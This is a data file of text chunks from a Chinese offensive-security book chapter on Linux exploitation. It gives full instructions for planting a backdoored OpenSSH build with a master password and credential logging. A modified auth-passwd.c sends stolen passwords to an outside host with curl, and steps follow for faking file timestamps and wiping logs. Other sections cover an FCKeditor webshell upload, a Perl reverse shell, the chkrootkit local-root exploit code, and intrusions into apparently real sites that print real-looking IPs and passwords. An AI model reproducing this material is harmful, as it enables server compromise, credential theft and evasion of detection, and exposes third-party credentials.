    {"text": "很多人误认为 OpenSSH 与 OpenSSL 有 关联，但实际上这两个计划有不同的目的和不同的发展团队，名称相近只是因为两者有同样的发展 目标──提供开放源代码的加密通信软件。"},
    {"text": "OpenSSH 是 OpenBSD 的子计划，其官方网站地址为 http://www.openssh.com/。 OpenSSH 的各个 版本可以到其官网下载。 另外笔者推荐一个下载地址：http://ftp5.eu.openbsd.org/ftp/pub/OpenBSD/ OpenSSH/。"},
    {"text": "OpenSSH 提供了服务端后台程序和客户端工具，用来加密远程控件和文件传输过程中的数据，并由 此来代替原来的类似服务。 OpenSSH 是通过计算机网络使用 SSH 加密通信的实现，是取代由 SSH Communications Security 提供的商用版本的开放源代码方案。 在 OpenSSH 服务中，sshd 是一个典型 的独立守护进程，OpenSSH 服务可以通过/etc/ssh/sshd_config 文件进行配置。"},
    {"text": "3.4.2 准备工作 （1）下载 openssh-5.9p1.tar.gz openssh-5.9p1.tar.gz 的下载地址为 http://down1.chinaunix.net/distfiles/openssh-5.9p1.tar.gz。"},
    {"text": "（2）下载后门文件 后门文件下载地址为 http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1. patch.tar.gz。"},
    {"text": "（4）查看 SSH 当前版本信息 目前网上支持的 SSH 后门版本为 5.9 以下。 如图 3-15 所示，使用“ssh -V”命令获取的 OpenSSH 版本信息为“OpenSSH_5.3p1, OpenSSL 1.0.0-fips 29 Mar 2010”。"},
    {"text": "mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old 图 3-15 查看 SSH 的当前版本信息 图 3-16 备份 SSH 原始配置文件 168 第 3 章 Linux 漏洞利用与提权 （6）解压 SSH 后门 将 sshbd.tgz 下载到本地并解压，如图 3-17 所示，执行以下命令。 tar zxvf sshbd.tgz cd openssh 图 3-17 下载并解压 SSH 后门 如果使用官方安装包 openssh-5.9p1 进行安装，可以执行以下命令。 tar zxf openssh-5.9p1.tar tar zxf openssh-5.9p1.path.tar cp openssh-5.9p1.patch/sshbd5.9p1.diff /openssh-5.9p1 cd openssh-5.9p1 patch < sshbd5.9p1.diff 3.4.3 设置 SSH 后门的登录密码及其密码记录位置 在 OpenSSH 目录中找到 includes.h 文件，运行“vi includes.h”命令，修改“define_SECRET _PASSWD”为登录密码，如图 3-18 所示，默认密码记录日志文件保存在/usr/local/share/0wn 目录下 的 slog 和 clog 文件中。"},
    {"text": "define _SECRET_PASSWD \" 995430aaa\" 图 3-18 修改 SSH 登录密码 169 网络攻防实战研究：漏洞利用与提权 3.4.4 安装并编译后门 （1）编译和安装 运行如下代码。"},
    {"text": "./configure –prefix=/usr –sysconfdir=/etc/ssh make && make install openssh-5.9p1 需要使用下面的命令进行配置。 ./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5 在编译过程中可能会出现“configure: error: *** zlib.h missing – please install first or check config.log”错误。 此时，执行“yum install zlib-devel”和“yum install openssl openssl-devel”命令， 安装后再次进行编译即可。 （2）重启 SSHD 服务 执行“/etc/init.d/sshd restart”命令，重启 SSHD 服务。 （3）还原新配置文件为旧配置文件的时间 执行以下命令，使 ssh_config 和 sshd_config 文件的修改时间与 ssh_config.old 和 sshd_config.old 文件一致。 touch -r /etc/ssh/ssh_config.old /etc/ssh/ssh_config touch -r /etc/ssh/sshd_config.old /etc/ssh/sshd_config mtime(modify time)：最后一次修改文件或目录的时间。"},
    {"text": "3.4.5 登录后门并查看记录的密码文件 使用“ssh -l root IP”命令登录服务器，例如“ssh -l root 192.168.52.175”。 可以使用 root 的密码，也可以使用后门设置 的密码“995430aaa”登录。 访问“/usr/local/ share/0wn”目录， 查看其记录的密码日志文件 clog 和 slog，如图 3-19 所示，可以 看到 SSH 登录和本地 root 账号登录的密码。"},
    {"text": "图 3-19 查看密码记录 export HISTFILE=/dev/null export HISTSIZE=0 cd /etc/httpd/logs/ 170 第 3 章 Linux 漏洞利用与提权 sed -i ‘/192.168.52.175/d’ access_log* echo >/root/.bash_history //清空操作日志 3.4.6 拓展密码记录方式 前面记录的密码只能在 Linux 服务器上面看，也就是说，用户必须拥有读取文件的权限，如果 没有权限则无法登录服务器。"},
    {"text": "<?php $username = $_POST['username']; $password = $_POST['password']; $host = $_POST['host']; $port = $_POST['port']; $time=date('Y-m-d H:i:s',time()); if(isset($username) != \"\" || isset($password) !=\"\" || isset($host) != \"\") { $fp = fopen(\"sshlog.txt\",\"a+\"); $result = \"sername:.$username--->:Password:$password----->:Host:$host ----->:port:$port----->:time:$time\"; fwrite($fp,$result); fwrite($fp,\"\\r\\n\"); fclose($fp); } ?> 修改 auth-passwd.c 文件的内容，具体如下。 int userauth_passwd(Authctxt *authctxt) { static int attempt = 0; char prompt[150]; char *password; char *pass[200]; char szres[1024] = {0}; FILE *f; char *findport() { FILE *FTopen; char tempBuf[1024] = {0}; char *Filename = \"/etc/ssh/sshd_config\"; char *Filetext = \"Port\"; if((FTopen = fopen(Filename, \"r\")) == NULL) { return Filetext; } while(fgets(tempBuf, 1024, FTopen) != NULL) { if(strstr(tempBuf, Filetext)) { Filetext = tempBuf; break; } memset(tempBuf, 0, 1024); } fclose(FTopen); return Filetext; 171 网络攻防实战研究：漏洞利用与提权 } const char *host = options.host_key_alias ? options.host_key_alias : authctxt->host; if (attempt++ >= options.number_of_password_prompts) return 0; if (attempt != 1) error(\"Permission denied, please try again.\"); snprintf(prompt, sizeof(prompt), \"%.30s@%.128s's password: \", authctxt->server_user, host); password = read_passphrase(prompt, 0); strcpy(pass,password); //截取密码的时候把它复制到自定义的地方，以便调用 packet_start(SSH2_MSG_USERAUTH_REQUEST); packet_put_cstring(authctxt->server_user); packet_put_cstring(authctxt->service); packet_put_cstring(authctxt->method->name); packet_put_char(0); packet_put_cstring(password); memset(password, 0, strlen(password)); xfree(password); packet_add_padding(64); packet_send(); dispatch_set(SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ, &input_userauth_passwd_changereq); if((f=fopen(\"/tmp/olog\",\"a+\"))!=NULL){ fprintf(f,\"username:%s-->password:%s-->host:%s-->port:%s\\n\", authctxt->server_user,pass,authctxt->host,findport()); fclose(f);} memset(szres,0,sizeof(szres)); snprintf(szres,sizeof(szres),\"/usr/bin/curl -s -d \\\"username=%s&password= %s&host=%s&port=%s\\\" http://www.antian365.com/ssh.php >/dev/null\",authctxt-> server_user,pass, authctxt->host,findport()); system(szres); return 1; } 重新编译，执行后会自动将密码发送到服务器。 但笔者在实际测试中并没有达到这样的效果， 相关信息请读者访问 http://0cx.cc/ssh_get_password.jspx 查看并验证。"},
    {"text": "使用 strace 命令找出 SSH 后门。 运行“ps aux | grep sshd”命令获取可疑进程的 PID，运行 “strace -o aa -ff -p PID”命令进行跟踪，成功登录 SSH 后，在当前目录下就生成了 strace 命 令的输出。"},
    {"text": "在上面的命令中，过滤错误信息、/dev/null 信息和拒绝（denied）信息，找出打开了读写模 式（WR）的文件（因为要把记录的密码写入文件）。"},
    {"text": "wget http://down1.chinaunix.net/distfiles/openssh-5.9p1.tar.gz wget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz 备份 SSH 配置文件，命令如下。 mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old 安装必备软件，命令如下。 yum install -y openssl openssl-devel pam-devel zlib zlib-devel 解压并安装补丁，命令如下。 tar zxf openssh-5.9p1.tar.gz tar zxf openssh-5.9p1.tar.gz cp openssh-5.9p1.patch/sshbd5.9p1.diff /openssh-5.9p1 cd openssh-5.9p1 patch < sshbd5.9p1.diff 修改 includes.h 文件中记录用户名和密码的文件位置及其密码，命令如下。"},
    {"text": "#define ILOG \"/tmp/ilog\" //记录登录本机的用户名和密码 #define OLOG \"/tmp/olog\" //记录本机登录远程的用户名和密码 #define SECRETPW \"123456654321\" //后门的密码 修改 version.h 文件，使其修改后的版本信息为原始版本，命令如下。"},
    {"text": "#define SSH_VERSION \"填入之前记下来的版本号,伪装原版本\" 173 网络攻防实战研究：漏洞利用与提权 #define SSH_PORTABLE \"小版本号\" 安装并编译，命令如下。 ./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5 make clean make && make install service sshd restart 恢复新配置文件的日期，使其与旧文件的日期一致。 对 ssh_config 和 sshd_config 文件的内 容进行对比，使其配置文件一致，然后修改文件日期。 touch -r /etc/ssh/ssh_config.old /etc/ssh/ssh_config touch -r /etc/ssh/sshd_config.old /etc/ssh/sshd_config 清除操作日志，代码如下。 export HISTFILE=/dev/null export HISTSIZE=0 cd /etc/httpd/logs/ sed -i ‘/192.168.52.175/d’ access_log* echo >/root/.bash_history //清空操作日志 参考文章 《如何使用 Linux 通用后门》：http://www.freebuf.com/tools/10474.html。 《关于 OpenSSH 通用后门的拓展》：http://0cx.cc/ssh_get_password.jspx。"},
    {"text": "3.5 利用 FCKeditor 漏洞渗透某 Linux 服务器 FCKeditor 是一个专门用在网页上的、开放源代码的、所见即所得的文字编辑器，不需要太复杂 的安装步骤即可使用。"},
    {"text": "很多网站都在使用 FCKeditor 在线编辑器，目前最新版本为 3.0.1。 FCKeditor 编辑器的早期版本 由于过滤不严格、安全意识较差等原因，出现了多个漏洞，攻击者主要通过文件上传获取 WebShell。"},
    {"text": "IIS 6.0 文件解析漏洞上传一句话木马或者 WebShell。 IIS 6.0 中存在一个文件解析漏洞，在 以“*.asp”文件命名的目录下，即使突破文件，也能被解析执行。"},
    {"text": "获取 FCKeditor 的安装路径后，可以浏览或者上传文件。 例如，在早期版 本中输入地址“fckeditor/editor/filemanager/browser/default/browser.html?Type=ImageConnector= connectors/asp/connector.asp”，可以直接上传文件。"},
    {"text": "通过 Google 搜索“阿呆 JSP WebShell”，会找 到一个 JSP 网页地址，如图 3-20 所示，凭感觉可以知道第一个搜索记录就是一个 WebShell 地址。 图 3-20 搜索 WebShell （2）验证 WebShell 直接打开第一条搜索记录，获取真实的网站地址“http://www.xxxxx.com/UserFiles/Image/IMG 20090817235411840.jsp”，打开后能够正常运行。"},
    {"text": "从该地址来看，很像 FCKeditor 编辑器，直接在网站地址后加上“FCKeditor/editor/filemanager/ 175 网络攻防实战研究：漏洞利用与提权 browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector”并打开，如图 3-22 所示，直接打开了我们熟悉的 FCKeditor 上传页面。 图 3-22 打开 FCKeditor 上传页面 说明 FCKeditor 编辑器的典型目录结构如图 3-23 所示，本例中的“UserFiles/Image/”就属于这种结构。 图 3-23 FCKeditor 编辑器的典型目录结构 （4）上传 WebShell 在 FCKeditor 中，单击“浏览”按钮，选择一个 JSP 的 WebShell 文件，然后单击“Upload”按 钮上传，如图 3-24 所示，上传成功。 图 3-24 上传 WebShell 176 第 3 章 Linux 漏洞利用与提权 技巧 在上传时，可以先选择“Create New Folder”选项创建一个文件夹。"},
    {"text": "关于各种版本的 FCKeditor，上传利用地址形式为“FCKeditor/editor/filemanager/browser/default/ browser.html?Type=Image&Connector=connectors”。 JSP 版本：/jsp/connector ASP 版本：/asp/connector ASPX 版本：/aspx/connector cfm 版本：/cfm/connector 3.5.2 测试上传的 WebShell 由于 FCKeditor 的典型目录结构是“UserFiles/Image/”，因此，上传的 WebShell 地址的格式为 “UserFiles/Image（File 或 Flash）/+文件名称”。 由于在本例中是上传到 Flash 文件目录中的，所以实 际地址为“http://www.xxxxx.com/UserFiles/Flash/Browser.jsp”。"},
    {"text": "如图 3-25 所示，WebShell 能够正常运行，此时就可以利用 WebShell 进行下载、上传、删除、 复制及执行命令等操作。 图 3-25 测试上传的 WebShell 3.5.3 分析与收集 WebShell 所在服务器的信息 （1）获取服务器类型 在获取 WebShell 后，可以通过它执行命令，查看服务器的配置情况。"},
    {"text": "通过 WebShell 的地址反查文件的实际地址，使用 cat 命令可 以查看其登录密码，例如“cat home/webhome/xxxxx.com/WEB-INF/webapps/ROOT/UserFiles/Image/ IMG20090817235411840.jsp”，如图 3-28 所示，获取其密码为“191903***”。 178 第 3 章 Linux 漏洞利用与提权 图 3-28 获取 WebShell 的密码 3.5.4 服务器提权 （1）查看 Linux 版本 在 WebShell 中，执行“uname -a”命令获取 Linux 的版本，结果为“Linux XXX.tw 2.6.9-11.ELsmp #1 SMP Fri May 20 18:26:27 EDT 2005 i686 i686 i386 GNU/Linux”，如图 3-29 所示，说明该服务器的 内核为 2.6.9-11 版本。"},
    {"text": "图 3-29 获取 Linux 内核版本 目前，Linux 稳定的最新内核版本为 2.6.32（Linux 最新内核版本查看地址为 http://kernel.org/ pub/linux/kernel/v2.6/）。"},
    {"text": "（2）查看操作系统 “/etc/issue”命令主要用于显示操作系统发行版本等信息，用户可以定制 issue，也就是说，可以 手动修改，如果未修改则默认显示各个操作系统的版本信息。 如图 3-30 所示，使用“cat/etc/issue” 命令查看该操作系统的版本信息，该操作系统为红帽 Linux 企业版。"},
    {"text": "179 网络攻防实战研究：漏洞利用与提权 图 3-30 获取操作系统的版本 （3）反弹 Shell 将反弹脚本 c.pl 上传到/var/tmp 路径下，然后在受控计算机（肉机）上执行“nc -vv -l -p 53”命 令，再在该 WebShell 中执行“perl /var/tmp/c.pl 202.102.xxx.xxx 53”命令，如图 3-31 所示，将该服 务器反弹到肉机（202.102.xxx.xxx）的 53 端口上。"},
    {"text": "图 3-32 成功反弹 180 第 3 章 Linux 漏洞利用与提权 （4）尝试提权 通过 WebShell 上传最新的 Sendpage3 利用程序，上传成功后，在反弹的 Shell 中查看上传的程 序，然后直接执行“./run”命令，如图 3-33 所示，直接提权为 root 用户权限。 图 3-33 提权成功 3.6 chkrootkit 0.49 本地提权漏洞利用与防范研究 笔者最近在研究 Linux rootkit 时发现很多文章都推荐使用 chkrootkit，但是 chkrootkit 0.49 及以 下版本均存在本地提权漏洞，只要提权上传一个文件到 tmp 目录，管理员再次运行 chkrootkit 后即可 获取 root 权限。 本节就 chrootkit 本地提权漏洞进行分析和再现，并给出防范方法，希望对系统管理 员有所帮助。 3.6.1 漏洞分析 Thomas Stangner 在 chkrootkit 包中发现了一个严重的漏洞，允许本地攻击者在某些情况下获得 对根框的访问权限配置（/tmp 不挂载 noexec），漏洞位于函数 slapper()中，具体如下。"},
    {"text": "slapper (){ SLAPPER_FILES=\"${ROOTDIR}tmp/.bugtraq ${ROOTDIR}tmp/.bugtraq.c\" SLAPPER_FILES=\"$SLAPPER_FILES ${ROOTDIR}tmp/.unlock ${ROOTDIR}tmp/httpd \\ ${ROOTDIR}tmp/update ${ROOTDIR}tmp/.cinik ${ROOTDIR}tmp/.b\" SLAPPER_PORT=\"0.0:2002 |0.0:4156 |0.0:1978 |0.0:1812 |0.0:2015 \" OPT=-an STATUS=0 file_port= if ${netstat} \"${OPT}\"|${egrep} \"^tcp\"|${egrep} \"${SLAPPER_PORT}\"> /dev/null 2>&1 then STATUS=1 [ \"$SYSTEM\" = \"Linux\" ] && file_port=`netstat -p ${OPT} | \\ $egrep ^tcp|$egrep \"${SLAPPER_PORT}\" | ${awk} '{ print $7 }' | tr -d :` 181 网络攻防实战研究：漏洞利用与提权 fi for i in ${SLAPPER_FILES}; do if [ -f ${i} ]; then file_port=$file_port $i STATUS=1 fi done if [ ${STATUS} -eq 1 ] ;then echo \"Warning: Possible Slapper Worm installed ($file_port)\" else if [ \"${QUIET}\" != \"t\" ]; then echo \"not infected\"; fi return ${NOT_INFECTED} fi } 如果$ file_port 为空，变量赋值缺少引号，“file_port = $ file_port $ I”行将执行中指定的所有文 件，“$ SLAPPER_FILES”作为用户（通常是 root 用户）。"},
    {"text": "如果攻击者知道管理员是定期 运行 chkrootkit 的（通过查看 cron.daily 获知），并且对/tmp（没有挂载 noexec）有写访问权限，就可 以利用该漏洞获取 root 权限。"},
    {"text": "漏洞可利用代码 update.c 具体如下。 #include <unistd.h> void main(void) { system(\"chown root:root /tmp/update\"); system(\"chmod 4755 /tmp/update\"); setuid(0); 182 第 3 章 Linux 漏洞利用与提权 setgid(0); execl(\"/bin/sh\",\"sh\",NULL); } 3.6.3 实际测试 1．编译 update.c 将 update.c 文件放在 tmp 目录下，执行“gcc -o update update.c”命令进行编译，编译后通过“ls -al update”命令查看，如图 3-35 所示。"},
    {"text": "2．执行 chkrootkit 上传一个 chkrootkit 0.49 程序，解压缩后，使用“make sense”命令进行编译（编译时会出错， 不用管它）。 执行“./chkrootkit”命令，如图 3-36 所示，顺利执行 chkrootkit 程序。 执行完毕，到 tmp 目录下查看 update 文件，显然程序已经被设置了 root 权限，如图 3-37 所示。 3．进行提权 以普通用户身份登录，到 tmp 目录下执行“./update”命令，可以直接获取 root 权限。"},
    {"text": "图 3-35 编译 update 程序 图 3-36 执行 rootkit 程序 图 3-37 检查 update 程序权限 图 3-38 获取 root 权限 3.6.4 漏洞利用扩展 1．搜索漏洞 chkrootkit 在 exploit-database 中对漏洞 chkrootkit 进行搜索。 执行命令“searchsploit chkrootkit”，查看目前 所有能够利用的漏洞，如图 3-39 所示，只有 2 个，exploit-db 网站给出了相关的利用方法和文章。 183 网络攻防实战研究：漏洞利用与提权 https://www.exploit-db.com/exploits/38775/ https://www.exploit-db.com/exploits/33899/ 图 3-39 搜索 exploit-database 漏洞库 2．通过 MSF 查看可利用漏洞 在 Kali Linux 中打开 MSF 漏洞利用平台，如图 3-40 所示，执行“search chkrootkit”命令，结果 仅有 1 项。 通过“use exploit/unix/local/chkrootkit”、“show options”命令使用和查看漏洞模块的相关 情况，可知该漏洞为本地利用型（即查看/usr/sbin/下目录是否存在 chkrootkit 程序，如果存在，则可 以利用）。 图 3-40 查看 MSF 平台中的 chkrootkit 漏洞 3.6.5 漏洞利用与防范方法探讨 1．查看系统中是否存在 chkrookit 在 CentOS 下查看是否存在 chkrootkit，命令如下。 updated locate chkrootkit ls –al /usr/sbin/chkrootkit 2．查找高权限用户命令 执行命令“find / -perm +4000 –ls >20170309.txt”，将找出目前具备 root 权限的可执行文件。"},
    {"text": "184 第 3 章 Linux 漏洞利用与提权 图 3-41 查找高权限用程序 3.7 从服务器信息泄露到 Linux 服务器权限获取 服务器信息泄露常常是由于管理员或者开发人员的疏忽大意造成的，也有一些是因为配置不当 造成的。"},
    {"text": "3.7.1 服务器信息泄露的危害 服务器信息泄露主要有两个层次，一个是各种文件信息的泄露，另外一个是服务器上各种常见 的信息泄露，其造成的危害如下。"},
    {"text": "数据库信息泄露：让攻击者知道数据库类型，会降低攻击的难度。 网站调试信息泄露：可能让攻击者知道网站使用的编程语言、框架等，从而降低攻击的难度。"},
    {"text": "账号密码泄露：可能导致攻击者直接操作网站后台或数据库，进行一些有害的操作。 源代码泄露：可能会让攻击者从源代码中分析出更多其他的漏洞，例如 SQL 注入、文件上 传、代码执行等。"},
    {"text": "第一种是通过各种漏洞扫描软件进行扫描，漏洞扫描软件集 185 网络攻防实战研究：漏洞利用与提权 成了各种已知漏洞信息，通过对服务器进行扫描比对，根据反馈信息判断服务器中是否存在相关漏 洞。 第二种是通过搜索引擎，例如 Google（google.com）、百度（baidu.com）、shodan（shodan.io）、 Zoomeye（zoomeye.org）及专业搜索引擎等，检索特定站点或者非特定特征获取信息，其漏洞的发 现和渗透目标是随机的，并能够通过搜索引擎获取。 第三种是用户使用过程中因为一些必然和偶然 的输入或者偶然事件导致的信息泄露，以及因授权界限问题而导致的信息泄露，这些信息的泄露意 味着“漏洞”的存在，从而增加了被成功渗透的几率。 3.7.3 服务器信息泄露的利用 服务器信息泄露漏洞的利用分为 3 个层面。 第一个层面是可以直接利用，例如 Structs、Elastic 等可以直接远程溢出的漏洞，只要服务器上存在远程溢出漏洞，通过 POC 或者 EXP 就可以直接获 取对方服务器权限。"},
    {"text": "3.7.4 服务器信息泄露渗透实例 （1）通过 Zoomeye 搜索“index of”获取实例 通过 Google（google.com）、百度（baidu.com）、Shodan（shodan.io）、Zoomeye（zoomeye.org） 及专业的搜索引擎对某些关键字进行搜索，可能会出现一些意想不到的结果。"},
    {"text": "（2）对泄露目录和文件进行查看 对泄露的网站目录和文件进行查看，一般来说，如果可以浏览目录，则可能获取一些打包文件， 这些文件可以直接下载。"},
    {"text": "图 3-42 网站目录信息泄露 图 3-43 获取网站源代码 （3）查询网站域名 将 IP 地址放入网站 http://www.yougetsignal.com/tools/web-sites-on-web-server/进行域名反查，如 图 3-44 所示，可以获取服务器 IP 地址所在的域名。"},
    {"text": "图 3-44 查询服务器 IP 地址所在域名 图 3-45 访问实际网站测试 （4）获取网站真实路径 浏览服务器上的其他文件，某些文件在运行过程会由于有依赖性等问题而报错。"},
    {"text": "187 网络攻防实战研究：漏洞利用与提权 图 3-47 获取服务器端口 （6）对下载的源代码进行分析 对下载的源代码进行解压，并分析该网站使用的 CMS 系统、数据库配置文件等。"},
    {"text": "图 3-48 获取数据库账号和密码 图 3-49 获取 Linux 服务器权限 3.8 通过 WinSCP 配置文件获取 Linux 服务器权限 目前很多交易系统都使用通达信的核心模块，通过对其主站及网络的渗透测试发现，其对安全 的重视程度还是不够。"},
    {"text": "188 第 3 章 Linux 漏洞利用与提权 3.8.1 发现主站 SQL 注入漏洞并获取 WebShell 1．发现主站注入漏洞 将网站地址“http://www.tdx.com.cn/”复制到 Web Cruiser 的 URL 文本框中，单击“Scan Current Site”按钮进行扫描，如图 3-50 所示，共得到 6 个 SQL 注入漏洞，包括“URL SQL INJECTION”和 “COOKIE SQL INJECTION”。"},
    {"text": "图 3-50 发现 SQL 注入类型 2．测试 SQL 注入 一般来说， “URL SQL INJECTION”注入类型比较好用。 选中第一个注射点进行 SQL 注入测试， 如图 3-51 所示，依次获取环境、数据库等信息。"},
    {"text": "JSP 类型的 SQL 注入漏洞权限大都比较高，在 Windows 系统中对应于 system 权限，在 Linux 系统中对应于 root 权限。 图 3-51 测试 SQL 注入 3．获取 system 权限 在 WebCruiser 中单击“Command”命令，分别输入“whoami”、 “ipconfig /all”等命令进行测试， 189 网络攻防实战研究：漏洞利用与提权 如图 3-52 所示，果然为 system 权限，能执行系统命令。 图 3-52 系统权限 4．获取 WebShell 由于是 system 权限，因此获取 WebShell 就相对比较简单了。"},
    {"text": "图 3-53 获取 WebShell 3.8.2 发现弱口令 在 http://www.tdx.com.cn/qduser/login.asp 中发现了使用弱口令的用户“test”，其密码为“888888”， 可以登录系统，对用户信息进行修改、删除和添加，如图 3-54 所示。"},
    {"text": "图 3-54 发现系统弱口令 190 第 3 章 Linux 漏洞利用与提权 3.8.3 进入主站所在服务器及相关服务器 1．获取主站及其附近服务器权限 将 wce 工具软件上传到服务器中，通过“wce -w”命令获取服务器曾经使用的密码。"},
    {"text": "srcip=59.175.238.43,1433 srcpwd=tdxwhsql2011 srcname=TdxDB srcuser=sa 通过 SQLTools 直接提权，并获取其密码等相关信息：IP 地址为 59.175.238.42，登录账号为 “administrator”，登录密码为“whrx&(42(test%#@l”。 使用同样的方法获取 IP 地址 59.175.238.43，登录 账号“administrator”，登录密码“tdx@201314@43”，其使用远程桌面直接登录服务器，如图 3-55 所示。 图 3-55 登录服务器 2．获取 Linux 服务器密码 在服务器 59.175.238.43 上发现了 WinSCP 程序，且在 winscp.ini 配置文件中保存了远程服务器 的登录密码等信息，如图 3-56 所示。 使用“winscppwd \"E:\\www.tdx.com.cn\\winscp.ini\"”命令直接读 取 winscp.ini 配置文件中保存的 Linux 服务器密码，如图 3-57 所示，可以直接获取 Linux 服务器的 IP 地址、账号和密码等。 图 3-56 winscp.ini 配置文件内容 191 网络攻防实战研究：漏洞利用与提权 图 3-57 直接读取 winscp.ini 配置文件中保存的密码 3．登录 Linux 服务器 使用获取的 root 账号和密码登录 59.175.238.44 服务器，如图 3-58 所示。"},
    {"text": "图 3-58 登录 Linux 服务器 图 3-59 运行数据信息 3．获取系统测试账号的密码 在测试服务器上保存了通达信高速行情交易系统测试账号的密码，如图 3-60 所示。"},
    {"text": "C:\\Users\\USERNAME\\AppData\\Local\\VirtualStore\\Program Files(x86)\\WinSCP\\WinSCP.ini（64 位操作系统） C:\\Program Files (x86)\\WinSCP\\WinSCP.ini（64 位操作系统） C:\\Users\\USERNAME\\AppData\\Local\\VirtualStore\\Program Files\\WinSCP\\WinSCP.ini（32 位操 作系统） C:\\Program Files\\WinSCP\\WinSCP.ini（32 位操作系统） 在 Windows 环境下可以查看或者搜索 winscp.ini 文件。"},
    {"text": "本案例的由来是互联网某“大 牛”在博客上公布了对某网站的一次安全检测过程，幸运的是，作者未对 SSH 账号和密码进行处理， 因此，通过这一线索能够顺利获得其服务器权限及 WebShell。"},
    {"text": "3.9.1 通过 SSH 账号和密码进行登录测试 打开 SSH Secure Shell，如图 3-61 所示，在“Host Name”文本框中输入服务器所在 IP 地址，在 “User Name”文本框中输入获取的账号，保留“Port”文本框中默认的 22 端口。"},
    {"text": "193 网络攻防实战研究：漏洞利用与提权 图 3-61 Linux 服务器登录测试 3.9.2 成功登录 Linux 服务器 单击“Connect”按钮进行连接测试，在其后需要输入用户密码进行验证。"},
    {"text": "图 3-62 成功登录该 Linux 服务器 3.9.3 查看服务器文件及所有信息 输入“ls”命令查看当前目录下的信息，如图 3-63 所示，发现存在一个 backup 文件夹，通过“cd backup”命令进入该文件夹，发现其下有 2 个 sh 脚本和 2 个 tar.bz 文件。 通过命令“cat backup.sh”查看文件内容，得知该文件可能是网站文件打包，且文件路径“Home/ webroot”可能就是网站的主路径，如图 3-64 所示。 194 第 3 章 Linux 漏洞利用与提权 图 3-63 查看文件内容 图 3-64 获取网站主目录 3.9.4 查看服务器所在 IP 地址下网站的域名情况 通过浏览器访问 http://www.yougetsignal.com/tools/web-sites-on-web-server/，然后输入 IP 地址 61.129.251.181，查看该 IP 地址下网站的域名情况。"},
    {"text": "图 3-65 获取该 IP 地址下网站的域名情况 3.9.5 尝试获取 WebShell 发现网站域名后，通过 SSH Secure Client 中的文件管理功能也可以打开工具栏上的文件夹图标。"},
    {"text": "进入/home/webroot/hope-guild.com/api 目录，尝试上传一个 WebShell 文件，如图 3-66 所示。 在浏览 器中打开 http://hope-guild.com/api/control.php 页面，如图 3-67 所示，成功获取 WebShell。"},
    {"text": "195 网络攻防实战研究：漏洞利用与提权 图 3-66 通过文件管理器查看服务器文件及其目录 图 3-67 获取 WebShell 3.10 渗透某 Linux 服务器并提权 在渗透过程中，通过 CMS 等系统存在的漏洞获取 WebShell 后，可能需要对服务器进行提权。 如果服务器中存在可以利用的漏洞，则可以进行提权。"},
    {"text": "相对 Ubuntu，CentOS 提权较难，但可以充分 利用已有权限，收集密码信息，进行暴力破解（在某些情况下，数据库密码有可能是服务器 root 账 号的密码）。"},
    {"text": "3.10.1 收集网站基本信息 将 IP 地址 101.231.57.172 放入网站 http:// www.yougetsignal. com / tools / web - sites - on- web - server/ 进行域名反查，如 图 3-68 所示，获取该 IP 地址下存在的网站。"},
    {"text": "196 第 3 章 Linux 漏洞利用与提权 3.10.2 扫描端口开放情况 使用 Zenmap 对该 IP 地址的所有端口进行扫描，如图 3-69 所示，该服务器开放了 21、22、80、 443、3306 端口，服务器为 Linux 服务器。"},
    {"text": "图 3-69 扫描端口开放信息 3.10.3 漏洞扫描和测试 将 IP 地址或者域名放在 wvs 中进行扫描，同时在 IE 等浏览器中进行访问，结果发现该网站存 在列目录漏洞，网站安装有 Discuz!。 访问安装 Discuz!时的配置目录 config，得到数据库配置文件的 内容，如图 3-70 所示。"},
    {"text": "图 3-73 对网站进行漏洞扫描 2．进行 SQL 注入测试 在扫描结果中随机选择存在 SQL 注入的记录“http://www.casic-amc.cn/software/content.jsp?id= 688”，首先对环境信息进行探测。"},
    {"text": "图 3-75 获取网站后台权限 4．对上传功能的漏洞进行测试 通过对后台功能进行测试，最有可能获取 WebShell 权限的地方为“公告信息管理”模块。"},
    {"text": "图 3-76 获取文件上传页面 199 网络攻防实战研究：漏洞利用与提权 3.11.2 获取 Linux 账号和密码 1．获取文件读取漏洞 发现上传页面后，通过实际测试发现仅能上传图片文件，无法上传 Shell 文件，但通过该上传页 面可以浏览服务器中的文件，如图 3-77 所示。 图 3-77 发现漏洞 2．获取 Linux 账号和密码 如图 3-78 所示，通过文件读取漏洞，下载 Linux 下的 etc/passwd 和 etc/shadow 等文件。"},
    {"text": "200 第 3 章 Linux 漏洞利用与提权 图 3-80 破解 Linux 账号 3.11.4 获取 Linux SSH 账号权限 通过 SSH Secure Client 登录该 Linux 服务器，当前目录即为网站目录，通过“cat test-mysql.jsp” 命令获取该文件的内容。"},
    {"text": "如果已经安 装，则可以通过上传图片获取 WebShell，即通过上传图片网页木马 phpinfo.jpg 到 uploads 目录，然后访问 http://192.168.1.103/uploads/phpinfo.jpg/1.php 获取 WebShell。"},
    {"text": "201 网络攻防实战研究：漏洞利用与提权 3.12 Struts 2 远程代码执行漏洞 s2-032 及其提权利用 Struts 2 远程代码执行漏洞（s2-032）引发了无数大型系统的“血案”。"},
    {"text": "3.12.1 Struts 简介 Struts 是 Apache 基金会 Jakarta 项目组的一个开源项目，Struts 通过采用 Java Servlet/JSP 技术实 现了基于 Java EE Web 应用的 Model-View-Controller（MVC）设计模式的应用框架，是 MVC 经典设 计模式中的一个经典产品。 目前，Struts 框架作为网站开发的底层模板，广泛应用于政府、公安、交 通、金融行业和运营商的网站建设，是应用最广泛的 Web 应用框架之一。"},
